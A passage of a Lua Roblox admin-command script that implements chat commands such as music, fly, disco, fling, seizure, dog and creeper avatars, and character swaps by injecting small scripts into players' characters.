  1578. local cl = LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = string.reverse([[local plr = game.Players.LocalPlayer
  1579. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1580. local torso = plr.Character.Torso
  1581. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1582. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1583. p.Size = Vector3.new(.2,.2,.2)
  1584. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1585. local motor1 = Instance.new("Motor", p)
  1586. motor1.Part0 = p
  1587. motor1.Part1 = torso
  1588. motor1.MaxVelocity = .01
  1589. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1590. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1591. local wave = false
  1592. repeat wait(1/44)
  1593. local ang = 0.1
  1594. local oldmag = torso.Velocity.magnitude
  1595. local mv = .002
  1596. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1597. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1598. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1599. motor1.DesiredAngle = -ang
  1600. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1601. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1602. if torso.Velocity.magnitude < .1 then wait(.1) end
  1603. until not p or p.Parent ~= torso.Parent
  1604. script:Destroy()
  1605. ]]) cl.Parent = v.PlayerGui cl.Disabled = false
  1606. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1607. end
  1608. end))
  1609. end
  1610. end
  1611.  
  1612. if msg:lower():sub(1,6) == "music " then
  1613. local chk1 = msg:lower():sub(7):find(" ") + 6
  1614. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1615. local id = msg:sub(chk1+1)
  1616. local pitch = 1
  1617. if tostring(id):lower():find("caramell") then id = 2303479 end
  1618. if tostring(id):lower():find("epic") then id = 27697743 pitch = 2.5 end
  1619. if tostring(id):lower():find("rick") then id = 2027611 end
  1620. if tostring(id):lower():find("halo") then id = 1034065 end
  1621. if tostring(id):lower():find("pokemon") then id = 1372261 end
  1622. if tostring(id):lower():find("cursed") then id = 1372257 end
  1623. if tostring(id):lower():find("extreme") then id = 11420933 end
  1624. if tostring(id):lower():find("awaken") then id = 27697277 end
  1625. if tostring(id):lower():find("alone") then id = 27697392 end
  1626. if tostring(id):lower():find("mario") then id = 1280470 end
  1627. if tostring(id):lower():find("choir") then id = 1372258 end
  1628. if tostring(id):lower():find("chrono") then id = 1280463 end
  1629. if tostring(id):lower():find("dotr") then id = 11420922 end
  1630. if tostring(id):lower():find("entertain") then id = 27697267 end
  1631. if tostring(id):lower():find("fantasy") then id = 1280473 end
  1632. if tostring(id):lower():find("final") then id = 1280414 end
  1633. if tostring(id):lower():find("emblem") then id = 1372259 end
  1634. if tostring(id):lower():find("flight") then id = 27697719 end
  1635. if tostring(id):lower():find("banjo") then id = 27697298 end
  1636. if tostring(id):lower():find("gothic") then id = 27697743 end
  1637. if tostring(id):lower():find("hiphop") then id = 27697735 end
  1638. if tostring(id):lower():find("intro") then id = 27697707 end
  1639. if tostring(id):lower():find("mule") then id = 1077604 end
  1640. if tostring(id):lower():find("film") then id = 27697713 end
  1641. if tostring(id):lower():find("nezz") then id = 8610025 end
  1642. if tostring(id):lower():find("angel") then id = 1372260 end
  1643. if tostring(id):lower():find("resist") then id = 27697234 end
  1644. if tostring(id):lower():find("schala") then id = 5985787 end
  1645. if tostring(id):lower():find("organ") then id = 11231513 end
  1646. if tostring(id):lower():find("tunnel") then id = 9650822 end
  1647. if tostring(id):lower():find("spanish") then id = 5982975 end
  1648. if tostring(id):lower():find("venom") then id = 1372262 end
  1649. if tostring(id):lower():find("wind") then id = 1015394 end
  1650. if tostring(id):lower():find("guitar") then id = 5986151 end
  1651. if tostring(id):lower():find("sf3") then id = 151093719 end
  1652. if tostring(id):lower():find("cantina") then id = 142304133 pitch = 1.15 end
  1653. if tostring(id):lower():find("burning") then id = 156503902 end
  1654. if tostring(id):lower():find("clannad") then id = 142292319 end
  1655. if tostring(id):lower():find("running") then id = 171217870 end
  1656. if tostring(id):lower():find("snowfield") then id = 175215264 end
  1657. if tostring(id):lower():find("piano") then id = 174589931 end
  1658. for i , v in pairs(plrz) do
  1659. for i, v in pairs(v:children())do if v:IsA("Sound")then v:Destroy() end end
  1660. local s = Instance.new("Sound")
  1661. s.SoundId = "http://www.roblox.com/asset/?id=" .. id
  1662. s.Volume = 1
  1663. s.Pitch = pitch
  1664. s.Looped = true
  1665. s.archivable = false
  1666. s.Parent = v
  1667. repeat wait(.1) s:Stop() wait(.1) s:Play() until s.IsPlaying
  1668. end
  1669. end
  1670.  
  1671. if msg:lower():sub(1,6) == "pitch " then --Credit to Scripth for the idea
  1672. for i,v in pairs(plr:GetChildren()) do
  1673. coroutine.resume(coroutine.create(function()
  1674. if v:IsA("Sound") then
  1675. v.Pitch = tonumber(msg:sub(6))
  1676. end
  1677. end))
  1678. end
  1679. end
  1680.  
  1681. if msg:lower():sub(1,7) == "volume " then --Credit to Scripth for the idea
  1682. for i,v in pairs(plr:GetChildren()) do
  1683. coroutine.resume(coroutine.create(function()
  1684. if v:IsA("Sound") then
  1685. v.Volume = tonumber(msg:sub(8))
  1686. end
  1687. end))
  1688. end
  1689. end
  1690.  
  1691. if msg:lower() == "stop" then --Credit to Scripth for the idea
  1692. for i, v in pairs(plr:children()) do if v:IsA("Sound") then v:Stop() end end
  1693. end
  1694.  
  1695. if msg:lower() == "play" then --Credit to Scripth for the idea
  1696. for i, v in pairs(plr:children()) do if v:IsA("Sound") then v:Play() end end
  1697. end
  1698.  
  1699. if msg:lower() == "pause" then --Credit to Scripth for the idea
  1700. for i, v in paris(plr:children()) do if v:IsA("Sound") then v:Pause() end end
  1701. end
  1702.  
  1703. if msg:lower() == "stopmusic" then
  1704. for i, v in pairs(game.Players:children()) do if v:IsA("Player") then for i ,v in pairs(v:children())do if v:IsA("Sound") then v:Destroy() end end end end
  1705. end
  1706.  
  1707. if msg:lower() == "musiclist" then
  1708. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1709. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1710. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar","sf3","cantina","burning","clannad","running","snowfield","piano"}
  1711. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf for l = 1, #v do cl.Text = tostring(string.sub(v.." ",1,l)) cl.Position = UDim2.new(0,0,0,num*20)wait(0.035) end num = num +1 end
  1712. end
  1713.  
  1714. if msg:lower():sub(1,4) == "fly " then
  1715. local plrz = GetPlr(plr, msg:lower():sub(5))
  1716. for i, v in pairs(plrz) do
  1717. coroutine.resume(coroutine.create(function()
  1718. if v and v:findFirstChild("PlayerGui")and EnableLoadstring then
  1719. local cl = LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = string.reverse([[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1720. local mouse = game.Players.LocalPlayer:GetMouse()
  1721. repeat wait() until mouse
  1722. local plr = game.Players.LocalPlayer
  1723. local torso = plr.Character.Torso
  1724. local flying = true
  1725. local deb = true
  1726. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1727. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1728. local maxspeed = 50
  1729. local speed = 0
  1730. function Fly()
  1731. local bg = Instance.new("BodyGyro", torso)
  1732. bg.P = 9e4
  1733. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1734. bg.cframe = torso.CFrame
  1735. local bv = Instance.new("BodyVelocity", torso)
  1736. bv.velocity = Vector3.new(0,0.1,0)
  1737. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1738. repeat wait()
  1739. plr.Character.Humanoid.PlatformStand = true
  1740. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1741. speed = speed+.5+(speed/maxspeed)
  1742. if speed > maxspeed then
  1743. speed = maxspeed
  1744. end
  1745. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1746. speed = speed-1
  1747. if speed < 0 then
  1748. speed = 0
  1749. end
  1750. end
  1751. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1752. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1753. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1754. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1755. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1756. else
  1757. bv.velocity = Vector3.new(0,0.1,0)
  1758. end
  1759. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1760. until not flying
  1761. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1762. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1763. speed = 0
  1764. bg:Destroy()
  1765. bv:Destroy()
  1766. plr.Character.Humanoid.PlatformStand = false
  1767. end
  1768. mouse.KeyDown:connect(function(key)
  1769. if key:lower() == "e" then
  1770. if flying then flying = false
  1771. else
  1772. flying = true
  1773. Fly()
  1774. end
  1775. elseif key:lower() == "w" then
  1776. ctrl.f = 1
  1777. elseif key:lower() == "s" then
  1778. ctrl.b = -1
  1779. elseif key:lower() == "a" then
  1780. ctrl.l = -1
  1781. elseif key:lower() == "d" then
  1782. ctrl.r = 1
  1783. end
  1784. end)
  1785. mouse.KeyUp:connect(function(key)
  1786. if key:lower() == "w" then
  1787. ctrl.f = 0
  1788. elseif key:lower() == "s" then
  1789. ctrl.b = 0
  1790. elseif key:lower() == "a" then
  1791. ctrl.l = 0
  1792. elseif key:lower() == "d" then
  1793. ctrl.r = 0
  1794. end
  1795. end)
  1796. Fly()]])
  1797. cl.Parent = v.PlayerGui cl.Disabled = false
  1798. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1799. end
  1800. end))
  1801. end
  1802. end
  1803.  
  1804. if msg:lower():sub(1,6) == "unfly " then
  1805. local plrz = GetPlr(plr, msg:lower():sub(7))
  1806. for i, v in pairs(plrz) do
  1807. coroutine.resume(coroutine.create(function()
  1808. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1809. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1810. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1811. wait(.1) v.Character.Humanoid.PlatformStand = false
  1812. end
  1813. end))
  1814. end
  1815. end
  1816.  
  1817. if msg:lower() == "disco" then
  1818. for i, v in pairs(lobjs) do v:Destroy() end
  1819. if EnableLoadstring then
  1820. local cl = ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = string.reverse([[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1821. game.Lighting.Ambient = color
  1822. game.Lighting.FogColor = color
  1823. until nil]])
  1824. table.insert(lobjs, cl) cl.Parent = game:service("ServerScriptService") cl.Disabled = false
  1825. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1826. Chat(":music all 167516514",plr)
  1827. end
  1828. end
  1829.  
  1830. if msg:lower() == "flash" then
  1831. for i, v in pairs(lobjs) do v:Destroy() end
  1832. if EnableLoadstring then
  1833. local cl = ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = string.reverse([[repeat wait(.1)
  1834. game.Lighting.Ambient = Color3.new(1,1,1)
  1835. game.Lighting.FogColor = Color3.new(1,1,1)
  1836. game.Lighting.Brightness = 1
  1837. game.Lighting.TimeOfDay = 14
  1838. wait(.1)
  1839. game.Lighting.Ambient = Color3.new(0,0,0)
  1840. game.Lighting.FogColor = Color3.new(0,0,0)
  1841. game.Lighting.Brightness = 0
  1842. game.Lighting.TimeOfDay = 0
  1843. until nil]])
  1844. table.insert(lobjs, cl) cl.Parent = game:service("ServerScriptService") cl.Disabled = false
  1845. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1846. end
  1847. end
  1848.  
  1849. if msg:lower():sub(1,5) == "spin " then
  1850. local plrz = GetPlr(plr, msg:lower():sub(6))
  1851. for i, v in pairs(plrz) do
  1852. coroutine.resume(coroutine.create(function()
  1853. if v and v.Character and v.Character:findFirstChild("Torso") then
  1854. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1855. local torso = v.Character:findFirstChild("Torso")
  1856. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1857. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1858. until not bg or bg.Parent ~= torso
  1859. end
  1860. end))
  1861. end
  1862. end
  1863.  
  1864. if msg:lower():sub(1,7) == "unspin " then
  1865. local plrz = GetPlr(plr, msg:lower():sub(8))
  1866. for i, v in pairs(plrz) do
  1867. coroutine.resume(coroutine.create(function()
  1868. if v and v.Character and v.Character:findFirstChild("Torso") then
  1869. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1870. end
  1871. end))
  1872. end
  1873. end
  1874.  
  1875. if msg:lower():sub(1,4) == "dog " then
  1876. local plrz = GetPlr(plr, msg:lower():sub(5))
  1877. for i, v in pairs(plrz) do
  1878. coroutine.resume(coroutine.create(function()
  1879. if v and v.Character and v.Character:findFirstChild("Torso") then
  1880. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1881. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1882. v.Character.Torso.Transparency = 1
  1883. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1884. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1885. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1886. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1887. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1888. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1889. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1890. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1891. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1892. end
  1893. end))
  1894. end
  1895. end
  1896.  
  1897. if msg:lower():sub(1,6) == "undog " then
  1898. local plrz = GetPlr(plr, msg:lower():sub(7))
  1899. for i, v in pairs(plrz) do
  1900. coroutine.resume(coroutine.create(function()
  1901. if v and v.Character and v.Character:findFirstChild("Torso") then
  1902. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1903. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1904. v.Character.Torso.Transparency = 0
  1905. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1906. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1907. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1908. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1909. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1910. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1911. end
  1912. end))
  1913. end
  1914. end
  1915.  
  1916. if msg:lower():sub(1,8) == "creeper " then
  1917. local plrz = GetPlr(plr, msg:lower():sub(9))
  1918. for i, v in pairs(plrz) do
  1919. coroutine.resume(coroutine.create(function()
  1920. if v and v.Character and v.Character:findFirstChild("Torso") then
  1921. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1922. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1923. v.Character.Torso.Transparency = 0
  1924. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1925. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1926. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1927. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1928. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1929. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1930. end
  1931. end))
  1932. end
  1933. end
  1934.  
  1935. if msg:lower():sub(1,10) == "uncreeper " then
  1936. local plrz = GetPlr(plr, msg:lower():sub(11))
  1937. for i, v in pairs(plrz) do
  1938. coroutine.resume(coroutine.create(function()
  1939. if v and v.Character and v.Character:findFirstChild("Torso") then
  1940. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1941. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1942. v.Character.Torso.Transparency = 0
  1943. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1944. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1945. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1946. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1947. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1948. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1949. end
  1950. end))
  1951. end
  1952. end
  1953.  
  1954. if msg:lower():sub(1,8) == "bighead " then
  1955. local plrz = GetPlr(plr, msg:lower():sub(9))
  1956. for i, v in pairs(plrz) do
  1957. coroutine.resume(coroutine.create(function()
  1958. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1959. end))
  1960. end
  1961. end
  1962.  
  1963. if msg:lower():sub(1,9) == "minihead " then
  1964. local plrz = GetPlr(plr, msg:lower():sub(10))
  1965. for i, v in pairs(plrz) do
  1966. coroutine.resume(coroutine.create(function()
  1967. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1968. end))
  1969. end
  1970. end
  1971.  
  1972. if msg:lower():sub(1,6) == "fling " then
  1973. local plrz = GetPlr(plr, msg:lower():sub(7))
  1974. for i, v in pairs(plrz) do
  1975. coroutine.resume(coroutine.create(function()
  1976. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") and DeadlyCommands then
  1977. local xran local zran
  1978. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1979. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1980. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1981. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1982. end
  1983. end))
  1984. end
  1985. end
  1986.  
  1987. if msg:lower():sub(1,8) == "seizure " then --Offencive Kohl >:O
  1988. local plrz = GetPlr(plr, msg:lower():sub(9))
  1989. for i, v in pairs(plrz) do
  1990. coroutine.resume(coroutine.create(function()
  1991. if v and v.Character then
  1992. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1993. local cl = ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = string.reverse([[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]])
  1994. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1995. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  1996. end
  1997. end))
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,10) == "unseizure " then
  2002. local plrz = GetPlr(plr, msg:lower():sub(11))
  2003. for i, v in pairs(plrz) do
  2004. coroutine.resume(coroutine.create(function()
  2005. if v and v.Character then
  2006. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  2007. wait(.1) v.Character.Humanoid.PlatformStand = false
  2008. end
  2009. end))
  2010. end
  2011. end
  2012.  
  2013. if msg:lower():sub(1,12) == "removelimbs " then
  2014. local plrz = GetPlr(plr, msg:lower():sub(13))
  2015. for i, v in pairs(plrz) do
  2016. coroutine.resume(coroutine.create(function()
  2017. if v and v.Character then
  2018. for a, obj in pairs(v.Character:children()) do
  2019. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2020. end
  2021. end
  2022. end))
  2023. end
  2024. end
  2025.  
  2026. if msg:lower():sub(1,5) == "name " then
  2027. local chk1 = msg:lower():sub(6):find(" ") + 5
  2028. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2029. for i, v in pairs(plrz) do
  2030. coroutine.resume(coroutine.create(function()
  2031. if v and v.Character and v.Character:findFirstChild("Head") then
  2032. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2033. local char = v.Character
  2034. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2035. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2036. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2037. char.Head.Transparency = 1
  2038. end
  2039. end))
  2040. end
  2041. end
  2042.  
  2043. if msg:lower():sub(1,7) == "unname " then
  2044. local plrz = GetPlr(plr, msg:lower():sub(8))
  2045. for i, v in pairs(plrz) do
  2046. coroutine.resume(coroutine.create(function()
  2047. if v and v.Character and v.Character:findFirstChild("Head") then
  2048. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2049. end
  2050. end))
  2051. end
  2052. end
  2053.  
  2054. if msg:lower():sub(1,5) == "char " then
  2055. local chk1 = msg:lower():sub(6):find(" ") + 5
  2056. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2057. for i, v in pairs(plrz) do
  2058. coroutine.resume(coroutine.create(function()
  2059. if v and v.Character then
  2060. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2061. v:LoadCharacter()
  2062. end
  2063. end))
  2064. end
  2065. end
  2066.  
  2067. if msg:lower():sub(1,5) == "kohl " then
  2068. local plrz = GetPlr(plr, msg:lower():sub(6))
  2069. for i,v in pairs(plrz) do
  2070. coroutine.resume(coroutine.create(function()
  2071. if v and v.Character then
  2072. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=16916139"
  2073. v:LoadCharacter()
  2074. end
  2075. end))
  2076. end
  2077. end
  2078.  
  2079. if msg:lower():sub(1,5) == "thee " then
  2080. local plrz = GetPlr(plr, msg:lower():sub(6))
  2081. for i,v in pairs(plrz) do
  2082. coroutine.resume(coroutine.create(function()
  2083. if v and v.Character then
  2084. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=17514438"
  2085. v:LoadCharacter()
  2086. end
  2087. end))
  2088. end
  2089. end
  2090.  
  2091. if msg:lower():sub(1,8) == "scripth " then
  2092. local plrz = GetPlr(plr, msg:lower():sub(9))
  2093. for i,v in pairs(plrz) do
  2094. coroutine.resume(coroutine.create(function()
  2095. if v and v.Character then
  2096. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=44391621"
  2097. v:LoadCharacter()
  2098. end
  2099. end))
  2100. end
  2101. end
  2102.  
  2103. if msg:lower():sub(1,7) == "unchar " then
  2104. local plrz = GetPlr(plr, msg:lower():sub(8))
  2105. for i, v in pairs(plrz) do
  2106. coroutine.resume(coroutine.create(function()
  2107. if v and v.Character then
  2108. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2109. v:LoadCharacter()
  2110. end
  2111. end))
  2112. end
  2113. end
  2114.  
  2115. if msg:lower():sub(1,7) == "infect " then
  2116. local plrz = GetPlr(plr, msg:lower():sub(8))
  2117. for i, v in pairs(plrz) do
  2118. coroutine.resume(coroutine.create(function()
  2119. if v and v.Character then
  2120. Infect(v.Character)
  2121. end
  2122. end))
  2123. end
  2124. end
  2125.  
  2126. if msg:lower():sub(1,11) == "rainbowify " then
  2127. local plrz = GetPlr(plr, msg:lower():sub(12))
  2128. for i, v in pairs(plrz) do
  2129. coroutine.resume(coroutine.create(function()
  2130. if v and v.Character and v.Character:findFirstChild("Torso") and EnableLoadstring then
  2131. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2132. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2133. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2134. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = string.reverse([[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]])
  2135. cl.Parent = v.Character cl.Disabled = false
  2136. local MakeUnexploit = Instance.new("ObjectValue",cl) MakeUnexploit.Name = "Admin SB"
  2137. end
  2138. end))
  2139. end
  2140. end
  2141.  
  2142. if msg:lower():sub(1,9) == "flashify " then
